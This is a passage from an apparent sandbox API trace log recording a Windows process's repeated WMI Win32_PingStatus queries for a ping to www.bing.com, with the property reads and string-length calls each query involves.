wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2854980*=3, plFlavor=0x2854984*=64) returned 0x0 [0138.489] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28549b4*=0, plFlavor=0x28549b8*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28549b4*=8, plFlavor=0x28549b8*=64) returned 0x0 [0138.490] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.490] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.490] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2854a0c*=0, plFlavor=0x2854a10*=0 | out: pVal=0x59fe76c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2854a0c*=8, plFlavor=0x2854a10*=64) returned 0x0 [0138.490] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DYNASTY", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2854a34*=0, plFlavor=0x2854a38*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2854a34*=8, plFlavor=0x2854a38*=64) returned 0x0 [0138.490] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.490] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.490] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__RELPATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2854a8c*=0, plFlavor=0x2854a90*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2854a8c*=8, plFlavor=0x2854a90*=64) returned 0x0 [0138.490] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.490] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.490] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2854c64*=0, plFlavor=0x2854c68*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2854c64*=3, plFlavor=0x2854c68*=64) returned 0x0 [0138.490] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DERIVATION", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2854c98*=0, plFlavor=0x2854c9c*=0 | out: pVal=0x59fe76c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea130*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2854c98*=8200, plFlavor=0x2854c9c*=64) returned 0x0 [0138.491] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SERVER", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2854ccc*=0, plFlavor=0x2854cd0*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2854ccc*=8, plFlavor=0x2854cd0*=64) returned 0x0 [0138.491] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.491] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.491] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2854d18*=0, plFlavor=0x2854d1c*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2854d18*=8, plFlavor=0x2854d1c*=64) returned 0x0 [0138.491] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.491] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.491] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2854d64*=0, plFlavor=0x2854d68*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2854d64*=8, plFlavor=0x2854d68*=64) returned 0x0 [0138.491] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.491] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.491] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe7b0 | out: puCount=0x59fe7b0*=0x2) returned 0x0 [0138.491] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0x0, pszText=0x0 | out: puBuffLength=0x59fe7ac*=0xf, pszText=0x0) returned 0x0 [0138.491] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe7ac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.491] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="BufferSize", lFlags=0, pVal=0x59fe7ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2854f98*=0, plFlavor=0x2854f9c*=0 | out: pVal=0x59fe7ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2854f98*=19, plFlavor=0x2854f9c*=0) returned 0x0 [0138.492] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="BufferSize", lFlags=0, pVal=0x59fe860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2854f98*=19, plFlavor=0x2854f9c*=0 | out: pVal=0x59fe860*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2854f98*=19, plFlavor=0x2854f9c*=0) returned 0x0 [0138.492] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0138.492] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0138.492] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.492] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0138.492] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0138.492] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.492] IWbemClassObject:GetNames (in: This=0x5ce3b38, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe748*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe73c | out: pNames=0x59fe73c*="\x01ƀ\x04") returned 0x0 [0138.492] SafeArrayGetDim (psa=0x5ce9fb0) returned 0x1 [0138.492] SafeArrayGetDim (psa=0x5ce9fb0) returned 0x1 [0138.492] SafeArrayGetLBound (in: psa=0x5ce9fb0, nDim=0x1, plLbound=0x59fe5d4 | out: plLbound=0x59fe5d4) returned 0x0 [0138.492] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.492] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.492] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.493] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.493] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.493] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.493] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.493] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.493] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.493] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.493] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.493] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.493] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.493] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.493] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.493] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.493] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.493] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.493] SysStringByteLen (bstr="__PATH") returned 0xc [0138.493] SysStringByteLen (bstr="__PATH") returned 0xc [0138.493] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__GENUS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28554c4*=0, plFlavor=0x28554c8*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x28554c4*=3, plFlavor=0x28554c8*=64) returned 0x0 [0138.494] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28554f8*=0, plFlavor=0x28554fc*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28554f8*=8, plFlavor=0x28554fc*=64) returned 0x0 [0138.494] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.494] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.494] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2855550*=0, plFlavor=0x2855554*=0 | out: pVal=0x59fe738*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2855550*=8, plFlavor=0x2855554*=64) returned 0x0 [0138.494] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DYNASTY", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2855578*=0, plFlavor=0x285557c*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2855578*=8, plFlavor=0x285557c*=64) returned 0x0 [0138.494] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.494] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.494] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__RELPATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28555d0*=0, plFlavor=0x28555d4*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28555d0*=8, plFlavor=0x28555d4*=64) returned 0x0 [0138.494] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.494] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.494] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28557a8*=0, plFlavor=0x28557ac*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x28557a8*=3, plFlavor=0x28557ac*=64) returned 0x0 [0138.495] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DERIVATION", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28557dc*=0, plFlavor=0x28557e0*=0 | out: pVal=0x59fe738*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea100*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28557dc*=8200, plFlavor=0x28557e0*=64) returned 0x0 [0138.495] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SERVER", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2855810*=0, plFlavor=0x2855814*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2855810*=8, plFlavor=0x2855814*=64) returned 0x0 [0138.495] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.495] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.495] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285585c*=0, plFlavor=0x2855860*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x285585c*=8, plFlavor=0x2855860*=64) returned 0x0 [0138.495] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.495] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.495] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28558a8*=0, plFlavor=0x28558ac*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28558a8*=8, plFlavor=0x28558ac*=64) returned 0x0 [0138.495] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.496] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.496] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe77c | out: puCount=0x59fe77c*=0x2) returned 0x0 [0138.496] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0x0, pszText=0x0 | out: puBuffLength=0x59fe778*=0xf, pszText=0x0) returned 0x0 [0138.496] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe778*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.496] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="ResponseTime", lFlags=0, pVal=0x59fe778*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2855adc*=0, plFlavor=0x2855ae0*=0 | out: pVal=0x59fe778*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x23, varVal2=0x0), pType=0x2855adc*=19, plFlavor=0x2855ae0*=0) returned 0x0 [0138.496] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0138.496] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0138.496] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.496] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0138.496] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0138.496] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.496] IWbemClassObject:GetNames (in: This=0x5ce3b38, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe770 | out: pNames=0x59fe770*="\x01ƀ\x04") returned 0x0 [0138.496] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0138.496] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0138.496] SafeArrayGetLBound (in: psa=0x5cea130, nDim=0x1, plLbound=0x59fe608 | out: plLbound=0x59fe608) returned 0x0 [0138.497] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.497] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.497] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.497] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.497] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.497] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.497] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.497] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.497] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.497] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.497] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.497] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.497] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.497] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.497] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.497] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.497] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.497] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.497] SysStringByteLen (bstr="__PATH") returned 0xc [0138.497] SysStringByteLen (bstr="__PATH") returned 0xc [0138.497] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__GENUS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2855e90*=0, plFlavor=0x2855e94*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2855e90*=3, plFlavor=0x2855e94*=64) returned 0x0 [0138.498] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2855ec4*=0, plFlavor=0x2855ec8*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2855ec4*=8, plFlavor=0x2855ec8*=64) returned 0x0 [0138.498] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.498] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.498] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2855f1c*=0, plFlavor=0x2855f20*=0 | out: pVal=0x59fe76c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2855f1c*=8, plFlavor=0x2855f20*=64) returned 0x0 [0138.498] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DYNASTY", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2855f44*=0, plFlavor=0x2855f48*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2855f44*=8, plFlavor=0x2855f48*=64) returned 0x0 [0138.498] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.498] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.498] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__RELPATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2855f9c*=0, plFlavor=0x2855fa0*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2855f9c*=8, plFlavor=0x2855fa0*=64) returned 0x0 [0138.498] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.498] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.499] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2856174*=0, plFlavor=0x2856178*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2856174*=3, plFlavor=0x2856178*=64) returned 0x0 [0138.499] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DERIVATION", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28561a8*=0, plFlavor=0x28561ac*=0 | out: pVal=0x59fe76c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea190*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28561a8*=8200, plFlavor=0x28561ac*=64) returned 0x0 [0138.499] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SERVER", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28561dc*=0, plFlavor=0x28561e0*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28561dc*=8, plFlavor=0x28561e0*=64) returned 0x0 [0138.499] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.499] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.499] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2856228*=0, 